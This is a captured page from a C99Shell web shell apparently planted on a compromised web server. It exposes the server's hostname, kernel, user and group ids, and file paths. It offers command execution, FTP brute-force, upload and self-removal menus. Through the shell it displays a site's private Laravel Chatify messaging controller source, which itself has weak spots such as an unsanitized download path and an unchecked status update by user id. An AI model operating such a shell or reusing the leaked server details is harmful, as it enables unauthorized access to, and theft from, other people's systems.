!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/vendor/Chatify/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MessagesController.php (19.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\vendor\Chatify;

use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Illuminate\Support\Facades\Response;
use 
App\Models\ChMessage as Message;
use 
App\Models\ChFavorite as Favorite;
use 
Chatify\Facades\ChatifyMessenger as Chatify;
use 
App\Models\User;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Request as FacadesRequest;
use 
Illuminate\Support\Str;

class 
MessagesController extends Controller
{
    
/**
     * Authinticate the connection for pusher
     *
     * @param Request $request
     *
     * @return void
     */
    
public function pusherAuth(Request $request)
    {

        
// Auth data
        
$authData json_encode(
            [
                
'user_id' => Auth::user()->id,
                
'user_info' => [
                    
'name' => Auth::user()->name,
                ],
            ]
        );
        
// check if user authorized
        
if(Auth::check())
        {
            return 
Chatify::pusherAuth(
                
$request['channel_name'], $request['socket_id'], $authData
            
);
        }

        
// if not authorized
        
return new Response('Unauthorized'401);


    }

    
/**
     * Returning the view of the app with the required data.
     *
     * @param int $id
     *
     * @return void
     */
    
public function index($id null)
    {
        if(
Auth::user()->type != 'admin')
        {
            
// get current route
            
$routeNameFacadesRequest::route()->getName();
            
$route = (in_array(
                
$routeName, ['user',config('chatify.routes.prefix')]
            )) ? 
'user' $routeName;

            
// prepare id
            
return view(
                
'Chatify::pages.app', [
                                   
'id' => ($id == null) ? $route '_' $id,
                                   
'route' => $route,
                                   
'messengerColor' => Auth::user()->messenger_color,
                                   
'dark_mode' => Auth::user()->dark_mode 'light' 'dark',
                               ]
            );
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/**
     * Fetch data by id for (user/group)
     *
     * @param Request $request
     *
     * @return collection
     */
    
public function idFetchData(Request $request)
    {

        
// Favorite
        
$favorite Chatify::inFavorite($request['id']);

        
// User data
        
if($request['type'] == 'user')
        {
            
$fetch User::where('id'$request['id'])->first();
          if(
$fetch->avatar==null){
              
$fetch->avatar='';
          }
        }

        if(!empty(
$fetch->avatar))
        {
//            $avatar = asset('/storage/' . config('chatify.user_avatar.folder') . '/' . $fetch->avatar);
            
$avatar \App\Models\Utility::get_file('uploads/avatar' '/' $fetch->avatar);
        }
        else
        {
            
$avatar \App\Models\Utility::get_file('/' config('chatify.user_avatar.folder') . '/avatar.png');
//            $avatar = \App\Models\Utility::get_file('uploads/avatar' . '/' . $fetch->avatar);

        
}


        return 
Response::json(
            [
                
'favorite' => $favorite,
                
'fetch' => $fetch,
                
'user_avatar' => $avatar,
            ]
        );

    }

    
/**
     * This method to make a links for the attachments
     * to be downloadable.
     *
     * @param string $fileName
     *
     * @return void
     */
    
public function download($fileName)
    {
        
$path storage_path() . '/' config('chatify.attachments.folder') . '/' $fileName;
        if(
file_exists($path))
        {
            return 
Response::download($path$fileName);
        }
        else
        {
            return 
abort(404"Sorry, File does not exist in our server or may have been deleted!");
        }
    }

    
/**
     * Send a message to database
     *
     * @param Request $request
     *
     * @return JSON response
     */
    
public function send(Request $request)
    {
        
// default variables
        
$error = (object)[
            
'status' => 0,
            
'message' => null
        
];
        
$attachment null;
        
$attachment_title null;

        
// if there is attachment [file]
        
if($request->hasFile('file'))
        {
            
// allowed extensions
            
$allowed_images Chatify::getAllowedImages();
            
$allowed_files  Chatify::getAllowedFiles();
            
$allowed        array_merge($allowed_images$allowed_files);

            
$file $request->file('file');
            
// if size less than 150MB
            
if($file->getSize() < 150000000)
            {
                if(
in_array($file->getClientOriginalExtension(), $allowed))
                {
                    
// get attachment name
                    
$attachment_title $file->getClientOriginalName();
                    
// upload attachment and store the new name

                    
$dir '/attachments/';
                    
$attachment Str::uuid() . "." $file->getClientOriginalExtension();
                    
$path \Utility::upload_file($request,'file',$attachment,$dir,[]);
                    if(
$path['flag'] == 1){
                        
$url $path['url'];
                    }else{
                        return 
redirect()->back()->with('error'__($path['msg']));
                    }

//                    $file->storeAs("/" . config('chatify.attachments.folder'), $attachment);


                
}
                else
                {
                    
$error->status 1;
                    
$error->message "File extension not allowed!";
                }
            }
            else
            {
                
$error->status 1;
                
$error->message "File extension not allowed!";
            }
        }

        if(!
$error->status)
        {
            
// send to database
            
$messageID mt_rand(9999999999) + time();
            
Chatify::newMessage(
                [
                    
'id' => $messageID,
                    
'type' => $request['type'],
                    
'from_id' => Auth::user()->id,
                    
'to_id' => $request['id'],
                    
'body' => htmlentities(trim($request['message']), ENT_QUOTES'UTF-8'),
                    
'attachment' => ($attachment) ? json_encode((object)[
                        
'new_name' => $attachment,
                        
'old_name' => htmlentities(trim($attachment_title), ENT_QUOTES'UTF-8'),
                    ]) : 
null,
                ]
            );

            
// fetch message to send it with the response
            
$messageData Chatify::fetchMessage($messageID);

            
// send to user using pusher
            
Chatify::push(
                
'private-chatify''messaging', [
                                     
'from_id' => Auth::user()->id,
                                     
'to_id' => $request['id'],
                                     
'message' => Chatify::messageCard($messageData'default'),
                                 ]
            );
        }

        
// send the response
        
return Response::json(
            [
                
'status' => '200',
                
'error' => $error->status 0,
                
'error_msg' => $error->message,
                
'message' => Chatify::messageCard(@$messageData),
                
'tempID' => $request['temporaryMsgId'],
            ]
        );
    }

    
/**
     * fetch [user/group] messages from database
     *
     * @param Request $request
     *
     * @return JSON response
     */
    
public function fetch(Request $request)
    {
        
// messages variable
        
$allMessages null;

        
// fetch messages
        
$query    Chatify::fetchMessagesQuery($request['id'])->orderBy('created_at''asc');
        
$messages $query->get();

        
// if there is a messages
        
if($query->count() > 0)
        {
            foreach(
$messages as $message)
            {
                
$allMessages .= Chatify::messageCard(
                    
Chatify::fetchMessage($message->id)
                );
            }

            
// send the response
            
return Response::json(
                [
                    
'count' => $query->count(),
                    
'messages' => $allMessages,
                ]
            );
        }

        
// send the response
        
return Response::json(
            [
                
'count' => $query->count(),
                
'messages' => '<p class="message-hint"><span>Say \'hi\' and start messaging</span></p>',
            ]
        );
    }

    
/**
     * Make messages as seen
     *
     * @param Request $request
     *
     * @return void
     */
    
public function seen(Request $request)
    {
        
// make as seen
        
$seenmessage =  Message::Where('from_id'$request['id'])->where('to_id'Auth::user()->id)->where('seen'0)->count();
        
$messageCount Message::where('to_id'Auth::user()->id)->where('seen'0)->count();

        
$seen Chatify::makeSeen($request['id']);

        if(
$seen){
            
$messageCount $messageCount $seenmessage;
        }
        
// send the response
        
return Response::json(
            [
                
'status' => $seen,
                
'messengerCount' => $messageCount
            
], 200
        
);

    }

    
/**
     * Get contacts list
     *
     * @param Request $request
     *
     * @return JSON response
     */
    
public function getContacts(Request $request)
    {
        
// get all users that received/sent message from/to [Auth user]
        
$users Message::join(
            
'users', function ($join){
            
$join->on('ch_messages.from_id''=''users.id')->orOn('ch_messages.to_id''=''users.id');
        }
        )->
where('ch_messages.from_id'Auth::user()->id)->orWhere('ch_messages.to_id'Auth::user()->id)->orderBy('ch_messages.created_at''desc')->get()->unique('id');

        if(
$users->count() > 0)
        {
            
// fetch contacts
            
$contacts null;
            foreach(
$users as $user)
            {
                if(
$user->id != Auth::user()->id)
                {
                    
// Get user data
                    
$userCollection User::where('id'$user->id)->first();
                    
$contacts       .= Chatify::getContactItem($request['messenger_id'], $userCollection);
                }
            }
        }

        
// Get All Memebers 11-Sep-2020 (preyash)
        //        $members    = Auth::user()->contacts->pluck('user_id')->toArray();
        //        $members    = User::whereIn('id', $members)->get();

        
$objUser Auth::user();
        if(
$objUser->type == 'company')
        {
            
$members User::where('type''!=''client')->where('created_by''='$objUser->creatorId())->get();
        }
        else
        {
            
$members User::where('type''!=''client')->where('created_by''='$objUser->creatorId())->where('id''!='$objUser->id)->orWhere('id''='$objUser->creatorId())->get();
        }

        
$getRecords null;
        foreach(
$members as $record)
        {
            
$getRecords .= view(
                
'vendor.Chatify.layouts.listItem', [
                                                
'get' => 'all_members',
                                                
'type' => 'user',
                                                
'user' => $record,
                                            ]
            )->
render();
        }

        
// send the response
        
return Response::json(
            [
                
'contacts' => $users->count() > $contacts '<br><p class="message-hint"><span>' __('Your contact list is empty') . '</span></p>',
                
'allUsers' => $members->count() > $getRecords '<br><p class="message-hint"><span>' __('Your member list is empty') . '</span></p>',
            ], 
200
        
);
    }

    
/**
     * Update user's list item data
     *
     * @param Request $request
     *
     * @return JSON response
     */
    
public function updateContactItem(Request $request)
    {
        
// Get user data
        
$userCollection User::where('id'$request['user_id'])->first();
        
$contactItem    Chatify::getContactItem($request['messenger_id'], $userCollection);
        
$messageCount Message::where('to_id'Auth::user()->id)->where('seen'0)->count();
        
// send the response

        
return Response::json(
            [
                
'contactItem' => $contactItem,
                
'messengerCount' => $messageCount
            
], 200
        
);

    }

    
/**
     * Put a user in the favorites list
     *
     * @param Request $request
     *
     * @return void
     */
    
public function favorite(Request $request)
    {
        
// check action [star/unstar]
        
if(Chatify::inFavorite($request['user_id']))
        {
            
// UnStar
            
Chatify::makeInFavorite($request['user_id'], 0);
            
$status 0;
        }
        else
        {
            
// Star
            
Chatify::makeInFavorite($request['user_id'], 1);
            
$status 1;
        }

        
// send the response
        
return Response::json(
            [
                
'status' => @$status,
            ], 
200
        
);
    }

    
/**
     * Get favorites list
     *
     * @param Request $request
     *
     * @return void
     */
    
public function getFavorites(Request $request)
    {
        
$favoritesList null;
        
$favorites     Favorite::where('user_id'Auth::user()->id);
        
$favCount $favorites->count();
        foreach(
$favorites->get() as $favorite)
        {
            
// get user data
            
$user          User::where('id'$favorite->favorite_id)->first();
            
$favoritesList .= view(
                
'Chatify::layouts.favorite', [
                                                
'user' => $user,
                                            ]
            );
        }

        
// send the response
        
return Response::json(
            [
                
'count' => $favCount,
                
'favorites' => $favCount $favoritesList '<p class="message-hint"><span>' __("Your favorite list is empty") . '</span></p>',
            ], 
200
        
);
    }

    
/**
     * Search in messenger
     *
     * @param Request $request
     *
     * @return void
     */
    
public function search(Request $request)
    {
        
$getRecords null;
        
$input      trim(filter_var($request['input'], FILTER_SANITIZE_STRING));

        
$records User::where('created_by'\Auth::user()->creatorId())
            ->
where('type''!=''client')->where('name''LIKE'"%{$input}%")->get();

        foreach(
$records as $record)
        {
            
$getRecords .= view(
                
'Chatify::layouts.listItem', [
                                                
'get' => 'search_item',
                                                
'type' => 'user',
                                                
'user' => $record,
                                            ]
            )->
render();
        }

        
// send the response
        
return Response::json(
            [
                
'records' => $records->count() > $getRecords '<p class="message-hint"><span>Nothing to show.</span></p>',
                
'addData' => 'html',
            ], 
200
        
);
    }

    
/**
     * Get shared photos
     *
     * @param Request $request
     *
     * @return void
     */
    
public function sharedPhotos(Request $request)
    {
        
$shared       Chatify::getSharedPhotos($request['user_id']);
        
$sharedPhotos null;

        
// shared with its template
        
for($i 0$i count($shared); $i++)
        {
            
$sharedPhotos .= view(
                
'Chatify::layouts.listItem', [
                                                
'get' => 'sharedPhoto',
                                                
'image' => \App\Models\Utility::get_file('attachments/' $shared[$i])

                                            ]
            )->
render();
        }

        
// send the response
        
return Response::json(
            [
                
'shared' => count($shared) > $sharedPhotos '<p class="message-hint"><span>Nothing shared yet</span></p>',
            ], 
200
        
);
    }

    
/**
     * Delete conversation
     *
     * @param Request $request
     *
     * @return void
     */
    
public function deleteConversation(Request $request)
    {
        
// delete
        
$delete Chatify::deleteConversation($request['id']);

        
// send the response
        
return Response::json(
            [
                
'deleted' => $delete 0,
            ], 
200
        
);
    }

    public function 
updateSettings(Request $request)
    {
        
$msg   null;
        
$error $success 0;

        
// dark mode
        
if($request['dark_mode'])
        {
            
$request['dark_mode'] == "dark" User::where('id'Auth::user()->id)->update(['dark_mode' => 1])  // Make Dark
                
User::where('id'Auth::user()->id)->update(['dark_mode' => 0]); // Make Light
        
}

        
// If messenger color selected
        
if($request['messengerColor'])
        {

            
$messenger_color explode('-'trim(filter_var($request['messengerColor'], FILTER_SANITIZE_STRING)));
            
$messenger_color Chatify::getMessengerColors()[$messenger_color[1]];
            
User::where('id'Auth::user()->id)->update(['messenger_color' => $messenger_color]);
        }
        
// if there is a [file]
        
if($request->hasFile('avatar'))
        {
            
// allowed extensions
            
$allowed_images Chatify::getAllowedImages();

            
$file $request->file('avatar');
            
// if size less than 150MB
            
if($file->getSize() < 150000000)
            {
                if(
in_array($file->getClientOriginalExtension(), $allowed_images))
                {
                    
// delete the older one
                    
if(Auth::user()->avatar != config('chatify.user_avatar.default'))
                    {
                        
$path storage_path(config('chatify.user_avatar.folder') . '/' Auth::user()->avatar);
                        if(
file_exists($path))
                        {
                            @
unlink($path);
                        }
                    }
                    
// upload
                    
$avatar Str::uuid() . "." $file->getClientOriginalExtension();
                    
$update User::where('id'Auth::user()->id)->update(['avatar' => $avatar]);
                    
// $file->storeAs("public/" . config('chatify.user_avatar.folder'), $avatar);
                    // $file->storeAs(config('chatify.user_avatar.folder'), $avatar);
                    
$file->storeAs('avatar'$avatar);
                    
$success $update 0;
                }
                else
                {
                    
$msg   "File extension not allowed!";
                    
$error 1;
                }
            }
            else
            {
                
$msg   "File extension not allowed!";
                
$error 1;
            }
        }

        
// send the response
        
return Response::json(
            [
                
'status' => $success 0,
                
'error' => $error 0,
                
'message' => $error $msg 0,
            ], 
200
        
);
    }

    
/**
     * Set user's active status
     *
     * @param Request $request
     *
     * @return void
     */
    
public function setActiveStatus(Request $request)
    {
        
$update $request['status'] > User::where('id'$request['user_id'])->update(['active_status' => 1]) : User::where('id'$request['user_id'])->update(['active_status' => 0]);

        
// send the response
        
return Response::json(
            [
                
'status' => $update,
            ], 
200
        
);
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--